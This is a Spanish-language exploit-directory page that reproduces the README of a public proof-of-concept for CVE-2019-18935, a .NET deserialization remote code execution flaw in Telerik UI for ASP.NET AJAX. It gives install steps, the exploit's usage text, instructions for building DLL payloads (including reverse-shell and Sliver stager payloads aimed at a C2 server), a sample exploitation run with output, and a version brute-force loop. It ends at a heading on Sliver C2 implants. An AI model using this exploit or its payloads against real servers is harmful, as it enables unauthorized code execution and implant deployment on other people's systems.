Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-18935 — Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX. | Kitploit
Herramientas/GitHubGitHub/noperator/cve-2019-18935
Análisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlRed TeamingDesarrollo de Payloads
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Exploit RCE para una vulnerabilidad de deserialización JSON de .NET en Telerik UI para ASP.NET AJAX.

Ver Repositorio
3738812hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-18935

Exploit de prueba de concepto para una vulnerabilidad de deserialización JSON en .NET en Telerik UI para ASP.NET AJAX que permite la ejecución remota de código.

Descripción

Telerik UI para ASP.NET AJAX es un conjunto ampliamente utilizado de componentes de interfaz de usuario para aplicaciones web. Deserializa de manera insegura objetos JSON de una manera que resulta en la ejecución remota arbitraria de código en el host subyacente del software. Para más información, consulte:

  • La charla DerpCon .NET Roulette (diapositivas) que detalla fundamentos adicionales sobre la explotación de deserialización insegura, lo aplica a este exploit, y repasa algunos consejos y trucos para obtener shells en aplicaciones web ASP.NET.
  • El informe completo en Bishop Fox, que incluye un recorrido completo de esta vulnerabilidad y detalles del exploit para este problema (junto con instrucciones de parcheo).

Primeros pasos

Requisitos previos

Necesitará tener instalados Visual Studio y .NET Framework SDK para compilar cargas útiles DLL de ensamblado .NET en modo mixto usando build-dll.bat.

Instalación

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Este exploit aprovecha la lógica de cifrado de RAU_crypto. La clase RAUCipher dentro de RAU_crypto.py depende de PyCryptodome, un reemplazo directo del módulo PyCrypto difunto. PyCryptodome y PyCrypto crean problemas cuando se instalan en el mismo entorno, por lo que la mejor manera de cumplir con esta dependencia es instalar el módulo dentro de un entorno virtual, como se muestra arriba.

Configuración

Apunte la línea 17 de build-dll.bat a la ruta de su instalación de Visual Studio.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Uso

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compilar carga útil DLL de ensamblado .NET en modo mixto

Algunas cargas útiles (por ejemplo, reverse-shell.c y sliver-stager.c) requieren que configure los campos HOST y PORT para que apunten a su servidor C2; ¡asegúrese de hacerlo!

En un entorno Windows con Visual Studio instalado, use build-dll.bat para generar DLL de ensamblado en modo mixto de 32 y 64 bits para usar como carga útil durante la deserialización. Opcionalmente, puede especificar una arquitectura de CPU de destino como segundo argumento de CLI (por ejemplo, x86).

build-dll.bat sleep.c

Subir carga útil al objetivo y cargarla en la aplicación

Pase la DLL generada anteriormente a CVE-2019-18935.py, que subirá la DLL a un directorio en el servidor de destino (siempre que el servidor web tenga permisos de escritura en ese directorio) y luego cargará esa DLL en la aplicación mediante el exploit de deserialización insegura.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

En el ejemplo anterior, la aplicación tardó al menos 10 segundos en responder, lo que indica que la carga útil DLL invocó correctamente Sleep(10000).

Fuerza bruta de la versión de Telerik UI

Como se detalla en la charla DerpCon .NET Roulette (39:46), podemos usar fuerza bruta para encontrar la versión de Telerik UI especificando solo la versión major del ensamblado Telerik.Web.UI (es decir, la parte 2017 de la cadena de versión completa 2017.2.503.40) al subir un archivo. Esta técnica reduce drásticamente el espacio de búsqueda en comparación con la fuerza bruta de cada versión específica de este software y, como beneficio adicional, incluso puede detectar versiones que no están explícitamente listadas en el historial de versiones de este software. Obtenga más información sobre el versionado de ensamblados .NET en MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:

Implantar con el framework Sliver C2

Descargar herramienta